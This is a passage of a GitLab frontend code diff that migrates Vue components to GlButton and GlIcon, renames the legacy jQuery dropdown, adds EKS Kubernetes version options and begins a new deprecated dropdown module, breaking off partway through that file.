+ <gl-button variant="secondary" @click="handleCancel">{{ s__('Cancel') }}</gl-button>
<template v-if="confirmCleanup">
- <gl-deprecated-button :disabled="!canSubmit" variant="warning" @click="handleSubmit">{{
- s__('ClusterIntegration|Remove integration')
- }}</gl-deprecated-button>
- <gl-deprecated-button
+ <gl-button
+ :disabled="!canSubmit"
+ variant="warning"
+ category="primary"
+ @click="handleSubmit"
+ >{{ s__('ClusterIntegration|Remove integration') }}</gl-button
+ >
+ <gl-button
:disabled="!canSubmit"
variant="danger"
+ category="primary"
@click="handleSubmit(true)"
- >{{ s__('ClusterIntegration|Remove integration and resources') }}</gl-deprecated-button
+ >{{ s__('ClusterIntegration|Remove integration and resources') }}</gl-button
>
</template>
<template v-else>
- <gl-deprecated-button :disabled="!canSubmit" variant="danger" @click="handleSubmit">{{
- s__('ClusterIntegration|Remove integration')
- }}</gl-deprecated-button>
+ <gl-button
+ :disabled="!canSubmit"
+ variant="danger"
+ category="primary"
+ @click="handleSubmit"
+ >{{ s__('ClusterIntegration|Remove integration') }}</gl-button
+ >
</template>
</template>
</gl-modal>
diff --git a/app/assets/javascripts/clusters/components/uninstall_application_button.vue b/app/assets/javascripts/clusters/components/uninstall_application_button.vue
index 8465312d84d..73191d6d84d 100644
--- a/app/assets/javascripts/clusters/components/uninstall_application_button.vue
+++ b/app/assets/javascripts/clusters/components/uninstall_application_button.vue
@@ -1,5 +1,5 @@
<script>
-import LoadingButton from '~/vue_shared/components/loading_button.vue';
+import { GlButton } from '@gitlab/ui';
import { APPLICATION_STATUS } from '~/clusters/constants';
import { __ } from '~/locale';
@@ -7,7 +7,7 @@ const { UPDATING, UNINSTALLING } = APPLICATION_STATUS;
export default {
components: {
- LoadingButton,
+ GlButton,
},
props: {
status: {
@@ -30,5 +30,7 @@ export default {
</script>
<template>
- <loading-button :label="label" :disabled="disabled" :loading="loading" />
+ <gl-button :disabled="disabled" variant="default" :loading="loading">
+ {{ label }}
+ </gl-button>
</template>
diff --git a/app/assets/javascripts/clusters/components/uninstall_application_confirmation_modal.vue b/app/assets/javascripts/clusters/components/uninstall_application_confirmation_modal.vue
index e33431d2ea1..f82f4dd5012 100644
--- a/app/assets/javascripts/clusters/components/uninstall_application_confirmation_modal.vue
+++ b/app/assets/javascripts/clusters/components/uninstall_application_confirmation_modal.vue
@@ -1,4 +1,5 @@
<script>
+/* eslint-disable vue/no-v-html */
import { GlModal } from '@gitlab/ui';
import trackUninstallButtonClickMixin from 'ee_else_ce/clusters/mixins/track_uninstall_button_click';
import { sprintf, s__ } from '~/locale';
diff --git a/app/assets/javascripts/clusters/components/update_application_confirmation_modal.vue b/app/assets/javascripts/clusters/components/update_application_confirmation_modal.vue
index 04aa28e9b74..0aedc6e84fa 100644
--- a/app/assets/javascripts/clusters/components/update_application_confirmation_modal.vue
+++ b/app/assets/javascripts/clusters/components/update_application_confirmation_modal.vue
@@ -1,4 +1,5 @@
<script>
+/* eslint-disable vue/no-v-html */
import { GlModal } from '@gitlab/ui';
import { sprintf, s__ } from '~/locale';
import { ELASTIC_STACK } from '../constants';
diff --git a/app/assets/javascripts/clusters/new_cluster.js b/app/assets/javascripts/clusters/new_cluster.js
new file mode 100644
index 00000000000..71f585fd307
--- /dev/null
+++ b/app/assets/javascripts/clusters/new_cluster.js
@@ -0,0 +1,19 @@
+import Vue from 'vue';
+import NewCluster from './components/new_cluster.vue';
+import { createStore } from './stores/new_cluster';
+
+export default () => {
+ const entryPoint = document.querySelector('#js-cluster-new');
+
+ if (!entryPoint) {
+ return null;
+ }
+
+ return new Vue({
+ el: '#js-cluster-new',
+ store: createStore(entryPoint.dataset),
+ render(createElement) {
+ return createElement(NewCluster);
+ },
+ });
+};
diff --git a/app/assets/javascripts/clusters/stores/new_cluster/index.js b/app/assets/javascripts/clusters/stores/new_cluster/index.js
new file mode 100644
index 00000000000..ae082c07f26
--- /dev/null
+++ b/app/assets/javascripts/clusters/stores/new_cluster/index.js
@@ -0,0 +1,12 @@
+import Vue from 'vue';
+import Vuex from 'vuex';
+import state from './state';
+
+Vue.use(Vuex);
+
+export const createStore = initialState =>
+ new Vuex.Store({
+ state: state(initialState),
+ });
+
+export default createStore;
diff --git a/app/assets/javascripts/clusters/stores/new_cluster/state.js b/app/assets/javascripts/clusters/stores/new_cluster/state.js
new file mode 100644
index 00000000000..1ca1ac8de18
--- /dev/null
+++ b/app/assets/javascripts/clusters/stores/new_cluster/state.js
@@ -0,0 +1,3 @@
+export default (initialState = {}) => ({
+ clusterConnectHelpPath: initialState.clusterConnectHelpPath,
+});
diff --git a/app/assets/javascripts/clusters_list/components/clusters.vue b/app/assets/javascripts/clusters_list/components/clusters.vue
index 09d7c0329a9..7b53020fc49 100644
--- a/app/assets/javascripts/clusters_list/components/clusters.vue
+++ b/app/assets/javascripts/clusters_list/components/clusters.vue
@@ -5,7 +5,7 @@ import {
GlLink,
GlLoadingIcon,
GlPagination,
- GlSkeletonLoading,
+ GlDeprecatedSkeletonLoading as GlSkeletonLoading,
GlSprintf,
GlTable,
} from '@gitlab/ui';
diff --git a/app/assets/javascripts/commit/pipelines/pipelines_table.vue b/app/assets/javascripts/commit/pipelines/pipelines_table.vue
index 1526d994770..2f4118c1717 100644
--- a/app/assets/javascripts/commit/pipelines/pipelines_table.vue
+++ b/app/assets/javascripts/commit/pipelines/pipelines_table.vue
@@ -247,7 +247,7 @@ export default {
}}
</p>
<gl-link
- href="/help/ci/merge_request_pipelines/index.html#create-pipelines-in-the-parent-project-for-merge-requests-from-a-forked-project"
+ href="/help/ci/merge_request_pipelines/index.html#run-pipelines-in-the-parent-project-for-merge-requests-from-a-forked-project"
target="_blank"
>
{{ s__('Pipelines|More Information') }}
diff --git a/app/assets/javascripts/commons/jquery.js b/app/assets/javascripts/commons/jquery.js
index c4d663dfc8d..334f95bb27f 100644
--- a/app/assets/javascripts/commons/jquery.js
+++ b/app/assets/javascripts/commons/jquery.js
@@ -2,6 +2,3 @@ import 'jquery';
// common jQuery plugins
import 'jquery-ujs';
-import 'jquery.caret'; // must be imported before at.js
-import '@gitlab/at.js';
-import 'vendor/jquery.scrollTo';
diff --git a/app/assets/javascripts/compare_autocomplete.js b/app/assets/javascripts/compare_autocomplete.js
index 34322755fe9..45ac1bafd61 100644
--- a/app/assets/javascripts/compare_autocomplete.js
+++ b/app/assets/javascripts/compare_autocomplete.js
@@ -5,6 +5,7 @@ import { __ } from './locale';
import axios from './lib/utils/axios_utils';
import { deprecatedCreateFlash as flash } from './flash';
import { capitalizeFirstCharacter } from './lib/utils/text_utility';
+import initDeprecatedJQueryDropdown from '~/deprecated_jquery_dropdown';
export default function initCompareAutocomplete(limitTo = null, clickHandler = () => {}) {
$('.js-compare-dropdown').each(function() {
@@ -13,7 +14,7 @@ export default function initCompareAutocomplete(limitTo = null, clickHandler = (
const $dropdownContainer = $dropdown.closest('.dropdown');
const $fieldInput = $(`input[name="${$dropdown.data('fieldName')}"]`, $dropdownContainer);
const $filterInput = $('input[type="search"]', $dropdownContainer);
- $dropdown.glDropdown({
+ initDeprecatedJQueryDropdown($dropdown, {
data(term, callback) {
const params = {
ref: $dropdown.data('ref'),
diff --git a/app/assets/javascripts/confidential_merge_request/components/dropdown.vue b/app/assets/javascripts/confidential_merge_request/components/dropdown.vue
index b8163ecfab2..5b4bdca46e4 100644
--- a/app/assets/javascripts/confidential_merge_request/components/dropdown.vue
+++ b/app/assets/javascripts/confidential_merge_request/components/dropdown.vue
@@ -1,13 +1,12 @@
<script>
-import { GlDeprecatedDropdown, GlDeprecatedDropdownItem } from '@gitlab/ui';
+import { GlDeprecatedDropdown, GlDeprecatedDropdownItem, GlIcon } from '@gitlab/ui';
import { __ } from '~/locale';
-import Icon from '~/vue_shared/components/icon.vue';
export default {
components: {
GlDeprecatedDropdown,
GlDeprecatedDropdownItem,
- Icon,
+ GlIcon,
},
props: {
projects: {
@@ -41,17 +40,17 @@ export default {
<gl-deprecated-dropdown toggle-class="d-flex align-items-center w-100" class="w-100">
<template #button-content>
<span class="str-truncated-100 mr-2">
- <icon name="lock" />
+ <gl-icon name="lock" />
{{ dropdownText }}
</span>
- <icon name="chevron-down" class="ml-auto" />
+ <gl-icon name="chevron-down" class="ml-auto" />
</template>
<gl-deprecated-dropdown-item
v-for="project in projects"
:key="project.id"
@click="selectProject(project)"
>
- <icon
+ <gl-icon
name="mobile-issue-close"
:class="{ icon: project.id !== selectedProject.id }"
class="js-active-project-check"
diff --git a/app/assets/javascripts/confidential_merge_request/components/project_form_group.vue b/app/assets/javascripts/confidential_merge_request/components/project_form_group.vue
index 88459d5962e..3a6707bc573 100644
--- a/app/assets/javascripts/confidential_merge_request/components/project_form_group.vue
+++ b/app/assets/javascripts/confidential_merge_request/components/project_form_group.vue
@@ -1,5 +1,5 @@
<script>
-import { GlLink, GlSprintf } from '@gitlab/ui';
+import { GlIcon, GlLink, GlSprintf } from '@gitlab/ui';
import { __ } from '../../locale';
import { deprecatedCreateFlash as createFlash } from '../../flash';
import Api from '../../api';
@@ -8,6 +8,7 @@ import Dropdown from './dropdown.vue';
export default {
components: {
+ GlIcon,
GlLink,
GlSprintf,
Dropdown,
@@ -136,7 +137,7 @@ export default {
target="_blank"
>
<span class="sr-only">{{ __('Read more') }}</span>
- <i class="fa fa-question-circle" aria-hidden="true"></i>
+ <gl-icon name="question-o" />
</gl-link>
</p>
</div>
diff --git a/app/assets/javascripts/contributors/stores/actions.js b/app/assets/javascripts/contributors/stores/actions.js
index 393af932fb0..f941c5aa944 100644
--- a/app/assets/javascripts/contributors/stores/actions.js
+++ b/app/assets/javascripts/contributors/stores/actions.js
@@ -3,7 +3,6 @@ import { __ } from '~/locale';
import service from '../services/contributors_service';
import * as types from './mutation_types';
-// eslint-disable-next-line import/prefer-default-export
export const fetchChartData = ({ commit }, endpoint) => {
commit(types.SET_LOADING_STATE, true);
diff --git a/app/assets/javascripts/create_cluster/eks_cluster/components/eks_cluster_configuration_form.vue b/app/assets/javascripts/create_cluster/eks_cluster/components/eks_cluster_configuration_form.vue
index d6c402fcb5d..a653e228e3f 100644
--- a/app/assets/javascripts/create_cluster/eks_cluster/components/eks_cluster_configuration_form.vue
+++ b/app/assets/javascripts/create_cluster/eks_cluster/components/eks_cluster_configuration_form.vue
@@ -1,4 +1,5 @@
<script>
+/* eslint-disable vue/no-v-html */
import { createNamespacedHelpers, mapState, mapActions, mapGetters } from 'vuex';
import { escape } from 'lodash';
import { GlFormInput, GlFormCheckbox } from '@gitlab/ui';
diff --git a/app/assets/javascripts/create_cluster/eks_cluster/components/service_credentials_form.vue b/app/assets/javascripts/create_cluster/eks_cluster/components/service_credentials_form.vue
index e063f9edfd9..5c13cbb2775 100644
--- a/app/assets/javascripts/create_cluster/eks_cluster/components/service_credentials_form.vue
+++ b/app/assets/javascripts/create_cluster/eks_cluster/components/service_credentials_form.vue
@@ -1,15 +1,15 @@
<script>
-import { GlFormInput } from '@gitlab/ui';
+/* eslint-disable vue/no-v-html */
+import { GlFormInput, GlButton } from '@gitlab/ui';
import { escape } from 'lodash';
import { mapState, mapActions } from 'vuex';
import { sprintf, s__, __ } from '~/locale';
import ClipboardButton from '~/vue_shared/components/clipboard_button.vue';
-import LoadingButton from '~/vue_shared/components/loading_button.vue';
export default {
components: {
GlFormInput,
- LoadingButton,
+ GlButton,
ClipboardButton,
},
props: {
@@ -130,13 +130,15 @@ export default {
<gl-form-input id="eks-provision-role-arn" v-model="roleArn" />
<p class="form-text text-muted" v-html="provisionRoleArnHelpText"></p>
</div>
- <loading-button
- class="js-submit-service-credentials btn-success"
+ <gl-button
+ variant="success"
+ category="primary"
type="submit"
:disabled="submitButtonDisabled"
:loading="isCreatingRole"
- :label="submitButtonLabel"
@click.prevent="createRole({ roleArn, externalId })"
- />
+ >
+ {{ submitButtonLabel }}
+ </gl-button>
</form>
</template>
diff --git a/app/assets/javascripts/create_cluster/eks_cluster/constants.js b/app/assets/javascripts/create_cluster/eks_cluster/constants.js
index a850ba89818..471d6e1f0aa 100644
--- a/app/assets/javascripts/create_cluster/eks_cluster/constants.js
+++ b/app/assets/javascripts/create_cluster/eks_cluster/constants.js
@@ -1,2 +1,6 @@
-// eslint-disable-next-line import/prefer-default-export
-export const KUBERNETES_VERSIONS = [{ name: '1.14', value: '1.14' }];
+export const KUBERNETES_VERSIONS = [
+ { name: '1.14', value: '1.14' },
+ { name: '1.15', value: '1.15' },
+ { name: '1.16', value: '1.16', default: true },
+ { name: '1.17', value: '1.17' },
+];
diff --git a/app/assets/javascripts/create_cluster/eks_cluster/store/actions.js b/app/assets/javascripts/create_cluster/eks_cluster/store/actions.js
index caf2729a4c7..5abff3c7831 100644
--- a/app/assets/javascripts/create_cluster/eks_cluster/store/actions.js
+++ b/app/assets/javascripts/create_cluster/eks_cluster/store/actions.js
@@ -56,6 +56,7 @@ export const createCluster = ({ dispatch, state }) => {
environment_scope: state.environmentScope,
managed: state.gitlabManagedCluster,
provider_aws_attributes: {
+ kubernetes_version: state.kubernetesVersion,
region: state.selectedRegion,
vpc_id: state.selectedVpc,
subnet_ids: state.selectedSubnet,
diff --git a/app/assets/javascripts/create_cluster/eks_cluster/store/getters.js b/app/assets/javascripts/create_cluster/eks_cluster/store/getters.js
index bbe4930c191..d8489ca31cf 100644
--- a/app/assets/javascripts/create_cluster/eks_cluster/store/getters.js
+++ b/app/assets/javascripts/create_cluster/eks_cluster/store/getters.js
@@ -1,3 +1,2 @@
-// eslint-disable-next-line import/prefer-default-export
export const subnetValid = ({ selectedSubnet }) =>
Array.isArray(selectedSubnet) && selectedSubnet.length >= 2;
diff --git a/app/assets/javascripts/create_cluster/eks_cluster/store/state.js b/app/assets/javascripts/create_cluster/eks_cluster/store/state.js
index d1337e7ea4a..ed51e95e434 100644
--- a/app/assets/javascripts/create_cluster/eks_cluster/store/state.js
+++ b/app/assets/javascripts/create_cluster/eks_cluster/store/state.js
@@ -1,6 +1,6 @@
import { KUBERNETES_VERSIONS } from '../constants';
-const [{ value: kubernetesVersion }] = KUBERNETES_VERSIONS;
+const kubernetesVersion = KUBERNETES_VERSIONS.find(version => version.default).value;
export default () => ({
createRolePath: null,
diff --git a/app/assets/javascripts/create_item_dropdown.js b/app/assets/javascripts/create_item_dropdown.js
index ec09dafebcb..75e8523adfa 100644
--- a/app/assets/javascripts/create_item_dropdown.js
+++ b/app/assets/javascripts/create_item_dropdown.js
@@ -1,5 +1,5 @@
import { escape } from 'lodash';
-import '~/gl_dropdown';
+import initDeprecatedJQueryDropdown from '~/deprecated_jquery_dropdown';
export default class CreateItemDropdown {
/**
@@ -28,7 +28,7 @@ export default class CreateItemDropdown {
}
buildDropdown() {
- this.$dropdown.glDropdown({
+ initDeprecatedJQueryDropdown(this.$dropdown, {
data: this.getData.bind(this),
filterable: true,
filterRemote: this.getDataRemote,
@@ -67,12 +67,12 @@ export default class CreateItemDropdown {
e.preventDefault();
this.refreshData();
- this.$dropdown.data('glDropdown').selectRowAtIndex();
+ this.$dropdown.data('deprecatedJQueryDropdown').selectRowAtIndex();
}
refreshData() {
// Refresh the dropdown's data, which ends up calling `getData`
- this.$dropdown.data('glDropdown').remote.execute();
+ this.$dropdown.data('deprecatedJQueryDropdown').remote.execute();
}
getData(term, callback) {
diff --git a/app/assets/javascripts/custom_metrics/components/custom_metrics_form_fields.vue b/app/assets/javascripts/custom_metrics/components/custom_metrics_form_fields.vue
index f5207b47f69..6f8455e4bcf 100644
--- a/app/assets/javascripts/custom_metrics/components/custom_metrics_form_fields.vue
+++ b/app/assets/javascripts/custom_metrics/components/custom_metrics_form_fields.vue
@@ -1,8 +1,14 @@
<script>
-import { GlFormInput, GlLink, GlFormGroup, GlFormRadioGroup, GlLoadingIcon } from '@gitlab/ui';
+import {
+ GlFormInput,
+ GlLink,
+ GlFormGroup,
+ GlFormRadioGroup,
+ GlLoadingIcon,
+ GlIcon,
+} from '@gitlab/ui';
import { debounce } from 'lodash';
import { __, s__ } from '~/locale';
-import Icon from '~/vue_shared/components/icon.vue';
import csrf from '~/lib/utils/csrf';
import axios from '~/lib/utils/axios_utils';
import statusCodes from '~/lib/utils/http_status';
@@ -37,7 +43,7 @@ export default {
GlFormGroup,
GlFormRadioGroup,
GlLoadingIcon,
- Icon,
+ GlIcon,
},
props: {
formOperation: {
@@ -229,7 +235,7 @@ export default {
{{ s__('Metrics|Must be a valid PromQL query.') }}
<gl-link href="https://prometheus.io/docs/prometheus/latest/querying/basics/" tabindex="-1">
{{ s__('Metrics|Prometheus Query Documentation') }}
- <icon name="external-link" :size="12" />
+ <gl-icon name="external-link" :size="12" />
</gl-link>
</span>
</gl-form-group>
diff --git a/app/assets/javascripts/cycle_analytics/components/banner.vue b/app/assets/javascripts/cycle_analytics/components/banner.vue
index 0db9d2dbcf9..4448d909c9b 100644
--- a/app/assets/javascripts/cycle_analytics/components/banner.vue
+++ b/app/assets/javascripts/cycle_analytics/components/banner.vue
@@ -1,10 +1,11 @@
<script>
+/* eslint-disable vue/no-v-html */
import iconCycleAnalyticsSplash from 'icons/_icon_cycle_analytics_splash.svg';
-import Icon from '~/vue_shared/components/icon.vue';
+import { GlIcon } from '@gitlab/ui';
export default {
components: {
- Icon,
+ GlIcon,
},
props: {
documentationLink: {
@@ -32,7 +33,7 @@ export default {
type="button"
@click="dismissOverviewDialog"
>
- <icon name="close" />
+ <gl-icon name="close" />
</button>
<div class="svg-container" v-html="iconCycleAnalyticsSplash"></div>
<div class="inner-content">
diff --git a/app/assets/javascripts/cycle_analytics/components/stage_review_component.vue b/app/assets/javascripts/cycle_analytics/components/stage_review_component.vue
index dc13f409462..33b4e649ab0 100644
--- a/app/assets/javascripts/cycle_analytics/components/stage_review_component.vue
+++ b/app/assets/javascripts/cycle_analytics/components/stage_review_component.vue
@@ -3,14 +3,12 @@ import { GlIcon } from '@gitlab/ui';
import userAvatarImage from '../../vue_shared/components/user_avatar/user_avatar_image.vue';
import limitWarning from './limit_warning_component.vue';
import totalTime from './total_time_component.vue';
-import icon from '../../vue_shared/components/icon.vue';
export default {
components: {
userAvatarImage,
totalTime,
limitWarning,
- icon,
GlIcon,
},
props: {
@@ -60,7 +58,7 @@ export default {
</template>
<template v-else>
<span v-if="mergeRequest.branch" class="merge-request-branch">
- <icon :size="16" name="fork" />
+ <gl-icon :size="16" name="fork" />
<a :href="mergeRequest.branch.url"> {{ mergeRequest.branch.name }} </a>
</span>
</template>
diff --git a/app/assets/javascripts/cycle_analytics/components/stage_staging_component.vue b/app/assets/javascripts/cycle_analytics/components/stage_staging_component.vue
index 2a507b7e601..ba2be2e5167 100644
--- a/app/assets/javascripts/cycle_analytics/components/stage_staging_component.vue
+++ b/app/assets/javascripts/cycle_analytics/components/stage_staging_component.vue
@@ -1,16 +1,17 @@
<script>
+/* eslint-disable vue/no-v-html */
+import { GlIcon } from '@gitlab/ui';
import userAvatarImage from '../../vue_shared/components/user_avatar/user_avatar_image.vue';
import iconBranch from '../svg/icon_branch.svg';
import limitWarning from './limit_warning_component.vue';
import totalTime from './total_time_component.vue';
-import icon from '../../vue_shared/components/icon.vue';
export default {
components: {
userAvatarImage,
totalTime,
limitWarning,
- icon,
+ GlIcon,
},
props: {
items: {
@@ -44,7 +45,7 @@ export default {
<user-avatar-image :img-src="build.author.avatarUrl" />
<h5 class="item-title">
<a :href="build.url" class="pipeline-id"> #{{ build.id }} </a>
- <icon :size="16" name="fork" />
+ <gl-icon :size="16" name="fork" />
<a :href="build.branch.url" class="ref-name"> {{ build.branch.name }} </a>
<span class="icon-branch" v-html="iconBranch"> </span>
<a :href="build.commitUrl" class="commit-sha"> {{ build.shortSha }} </a>
diff --git a/app/assets/javascripts/cycle_analytics/components/stage_test_component.vue b/app/assets/javascripts/cycle_analytics/components/stage_test_component.vue
index caff6f9c349..cd49b3c5222 100644
--- a/app/assets/javascripts/cycle_analytics/components/stage_test_component.vue
+++ b/app/assets/javascripts/cycle_analytics/components/stage_test_component.vue
@@ -1,15 +1,16 @@
<script>
+/* eslint-disable vue/no-v-html */
+import { GlIcon } from '@gitlab/ui';
import iconBuildStatus from '../svg/icon_build_status.svg';
import iconBranch from '../svg/icon_branch.svg';
import limitWarning from './limit_warning_component.vue';
import totalTime from './total_time_component.vue';
-import icon from '../../vue_shared/components/icon.vue';
export default {
components: {
totalTime,
limitWarning,
- icon,
+ GlIcon,
},
props: {
items: {
@@ -46,7 +47,7 @@ export default {
<span class="icon-build-status" v-html="iconBuildStatus"> </span>
<a :href="build.url" class="item-build-name"> {{ build.name }} </a> &middot;
<a :href="build.url" class="pipeline-id"> #{{ build.id }} </a>
- <icon :size="16" name="fork" />
+ <gl-icon :size="16" name="fork" />
<a :href="build.branch.url" class="ref-name"> {{ build.branch.name }} </a>
<span class="icon-branch" v-html="iconBranch"> </span>
<a :href="build.commitUrl" class="commit-sha"> {{ build.shortSha }} </a>
diff --git a/app/assets/javascripts/cycle_analytics/cycle_analytics_store.js b/app/assets/javascripts/cycle_analytics/cycle_analytics_store.js
index 4f9069f61a5..3a160d0532c 100644
--- a/app/assets/javascripts/cycle_analytics/cycle_analytics_store.js
+++ b/app/assets/javascripts/cycle_analytics/cycle_analytics_store.js
@@ -23,9 +23,6 @@ const EMPTY_STAGE_TEXTS = {
staging: __(
'The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time.',
),
- production: __(
- 'The total stage shows the time it takes between creating an issue and deploying the code to production. The data will be automatically added once you have completed the full idea to production cycle.',
- ),
};
export default {
diff --git a/app/assets/javascripts/deploy_keys/components/app.vue b/app/assets/javascripts/deploy_keys/components/app.vue
index a03a7114b40..0ac16e6b6a0 100644
--- a/app/assets/javascripts/deploy_keys/components/app.vue
+++ b/app/assets/javascripts/deploy_keys/components/app.vue
@@ -1,5 +1,5 @@
<script>
-import { GlLoadingIcon } from '@gitlab/ui';
+import { GlLoadingIcon, GlIcon } from '@gitlab/ui';
import { s__ } from '~/locale';
import { deprecatedCreateFlash as Flash } from '~/flash';
import NavigationTabs from '~/vue_shared/components/navigation_tabs.vue';
@@ -7,14 +7,13 @@ import eventHub from '../eventhub';
import DeployKeysService from '../service';
import DeployKeysStore from '../store';
import KeysPanel from './keys_panel.vue';
-import Icon from '~/vue_shared/components/icon.vue';
export default {
components: {
KeysPanel,
NavigationTabs,
GlLoadingIcon,
- Icon,
+ GlIcon,
},
props: {
endpoint: {
@@ -125,8 +124,8 @@ export default {
/>
<template v-else-if="hasKeys">
<div class="top-area scrolling-tabs-container inner-page-scroll-tabs">
- <div class="fade-left"><icon name="chevron-lg-left" :size="12" /></div>
- <div class="fade-right"><icon name="chevron-lg-right" :size="12" /></div>
+ <div class="fade-left"><gl-icon name="chevron-lg-left" :size="12" /></div>
+ <div class="fade-right"><gl-icon name="chevron-lg-right" :size="12" /></div>
<navigation-tabs :tabs="tabs" scope="deployKeys" @onChangeTab="onChangeTab" />
</div>
diff --git a/app/assets/javascripts/deploy_keys/components/key.vue b/app/assets/javascripts/deploy_keys/components/key.vue
index 585b091bc51..5b41d23bd27 100644
--- a/app/assets/javascripts/deploy_keys/components/key.vue
+++ b/app/assets/javascripts/deploy_keys/components/key.vue
@@ -1,7 +1,7 @@
<script>
import { head, tail } from 'lodash';
+import { GlIcon } from '@gitlab/ui';
import { s__, sprintf } from '~/locale';
-import icon from '~/vue_shared/components/icon.vue';
import tooltip from '~/vue_shared/directives/tooltip';
import timeagoMixin from '~/vue_shared/mixins/timeago';
@@ -10,7 +10,7 @@ import actionBtn from './action_btn.vue';
export default {
components: {
actionBtn,
- icon,
+ GlIcon,
},
directives: {
tooltip,
@@ -130,7 +130,7 @@ export default {
class="label deploy-project-label"
>
<span> {{ firstProject.project.full_name }} </span>
- <icon :name="firstProject.can_push ? 'lock-open' : 'lock'" />
+ <gl-icon :name="firstProject.can_push ? 'lock-open' : 'lock'" />
</a>
<a
v-if="isExpandable"
@@ -151,7 +151,7 @@ export default {
class="label deploy-project-label"
>
<span> {{ deployKeysProject.project.full_name }} </span>
- <icon :name="deployKeysProject.can_push ? 'lock-open' : 'lock'" />
+ <gl-icon :name="deployKeysProject.can_push ? 'lock-open' : 'lock'" />
</a>
</template>
<span v-else class="text-secondary">{{ __('None') }}</span>
@@ -161,7 +161,7 @@ export default {
<div role="rowheader" class="table-mobile-header">{{ __('Created') }}</div>
<div class="table-mobile-content text-secondary key-created-at">
<span v-tooltip :title="tooltipTitle(deployKey.created_at)">
- <icon name="calendar" /> <span>{{ timeFormatted(deployKey.created_at) }}</span>
+ <gl-icon name="calendar" /> <span>{{ timeFormatted(deployKey.created_at) }}</span>
</span>
</div>
</div>
@@ -178,7 +178,7 @@ export default {
class="btn btn-default text-secondary"
data-container="body"
>
- <icon name="pencil" />
+ <gl-icon name="pencil" />
</a>
<action-btn
v-if="isRemovable"
@@ -189,7 +189,7 @@ export default {
type="remove"
data-container="body"
>
- <icon name="remove" />
+ <gl-icon name="remove" />
</action-btn>
<action-btn
v-else-if="isEnabled"
@@ -200,7 +200,7 @@ export default {
type="disable"
data-container="body"
>
- <icon name="cancel" />
+ <gl-icon name="cancel" />
</action-btn>
</div>
</div>
diff --git a/app/assets/javascripts/deploy_keys/service/index.js b/app/assets/javascripts/deploy_keys/service/index.js
index 268a37008c5..10333752936 100644
--- a/app/assets/javascripts/deploy_keys/service/index.js
+++ b/app/assets/javascripts/deploy_keys/service/index.js
@@ -2,20 +2,18 @@ import axios from '~/lib/utils/axios_utils';
export default class DeployKeysService {
constructor(endpoint) {
- this.axios = axios.create({
- baseURL: endpoint,
- });
+ this.endpoint = endpoint;
}
getKeys() {
- return this.axios.get().then(response => response.data);
+ return axios.get(this.endpoint).then(response => response.data);
}
enableKey(id) {
- return this.axios.put(`${id}/enable`).then(response => response.data);
+ return axios.put(`${this.endpoint}/${id}/enable`).then(response => response.data);
}
disableKey(id) {
- return this.axios.put(`${id}/disable`).then(response => response.data);
+ return axios.put(`${this.endpoint}/${id}/disable`).then(response => response.data);
}
}
diff --git a/app/assets/javascripts/deprecated_jquery_dropdown/gl_dropdown.js b/app/assets/javascripts/deprecated_jquery_dropdown/gl_dropdown.js
new file mode 100644
index 00000000000..c17f2d2efe4
--- /dev/null
+++ b/app/assets/javascripts/deprecated_jquery_dropdown/gl_dropdown.js
@@ -0,0 +1,689 @@
+/* eslint-disable consistent-return */
+import $ from 'jquery';
+import { escape } from 'lodash';
+import fuzzaldrinPlus from 'fuzzaldrin-plus';
+import { visitUrl } from '~/lib/utils/url_utility';
+import { isObject } from '~/lib/utils/type_utility';
+import renderItem from './render';
+import { GitLabDropdownRemote } from './gl_dropdown_remote';
+import { GitLabDropdownInput } from './gl_dropdown_input';
+import { GitLabDropdownFilter } from './gl_dropdown_filter';
+
+const LOADING_CLASS = 'is-loading';
+
+const PAGE_TWO_CLASS = 'is-page-two';
+
+const ACTIVE_CLASS = 'is-active';
+
+const INDETERMINATE_CLASS = 'is-indeterminate';
+
+let currentIndex = -1;
+
+const NON_SELECTABLE_CLASSES = '.divider, .separator, .dropdown-header, .dropdown-menu-empty-item';
+
+const SELECTABLE_CLASSES = `.dropdown-content li:not(${NON_SELECTABLE_CLASSES}, .option-hidden)`;
+
+const CURSOR_SELECT_SCROLL_PADDING = 5;
+
+const FILTER_INPUT = '.dropdown-input .dropdown-input-field:not(.dropdown-no-filter)';
+
+const NO_FILTER_INPUT = '.dropdown-input .dropdown-input-field.dropdown-no-filter';
+
+export class GitLabDropdown {
+ constructor(el1, options) {
+ let selector;
+ let self;
+ this.el = el1;
+ this.options = options;
+ this.updateLabel = this.updateLabel.bind(this);
+ this.hidden = this.hidden.bind(this);
+ this.opened = this.opened.bind(this);
+ this.shouldPropagate = this.shouldPropagate.bind(this);
+ self = this;
+ selector = $(this.el).data('target');
+ this.dropdown = selector != null ? $(selector) : $(this.el).parent();
+ // Set Defaults
+ this.filterInput = this.options.filterInput || this.getElement(FILTER_INPUT);
+ this.noFilterInput = this.options.noFilterInput || this.getElement(NO_FILTER_INPUT);
+ this.highlight = Boolean(this.options.highlight);
+ this.icon = Boolean(this.options.icon);
+ this.filterInputBlur =
+ this.options.filterInputBlur != null ? this.options.filterInputBlur : true;
+ // If no input is passed create a default one
+ self = this;
+ // If selector was passed
+ if (typeof this.filterInput === 'string') {
+ this.filterInput = this.getElement(this.filterInput);
+ }
+ const searchFields = this.options.search ? this.options.search.fields : [];
+ if (this.options.data) {
+ // If we provided data
+ // data could be an array of objects or a group of arrays
+ if (typeof this.options.data === 'object' && !(this.options.data instanceof Function)) {
+ this.fullData = this.options.data;
+ currentIndex = -1;
+ this.parseData(this.options.data);
+ this.focusTextInput();
+ } else {
+ this.remote = new GitLabDropdownRemote(this.options.data, {
+ dataType: this.options.dataType,
+ beforeSend: this.toggleLoading.bind(this),
+ success: data => {
+ this.fullData = data;
+ this.parseData(this.fullData);
+ this.focusTextInput();
+
+ // Update dropdown position since remote data may have changed dropdown size
+ this.dropdown.find('.dropdown-menu-toggle').dropdown('update');
+
+ if (
+ this.options.filterable &&
+ this.filter &&
+ this.filter.input &&
+ this.filter.input.val() &&
+ this.filter.input.val().trim() !== ''
+ ) {
+ return this.filter.input.trigger('input');
+ }
+ },
+ instance: this,
+ });
+ }
+ }
+ if (this.noFilterInput.length) {
+ this.plainInput = new GitLabDropdownInput(this.noFilterInput, this.options);
+ this.plainInput.onInput(this.addInput.bind(this));
+ }
+ // Init filterable
+ if (this.options.filterable) {
+ this.filter = new GitLabDropdownFilter(this.filterInput, {
+ elIsInput: $(this.el).is('input'),
+ filterInputBlur: this.filterInputBlur,
+ filterByText: this.options.filterByText,
+ onFilter: this.options.onFilter,
+ remote: this.options.filterRemote,
+ query: this.options.data,
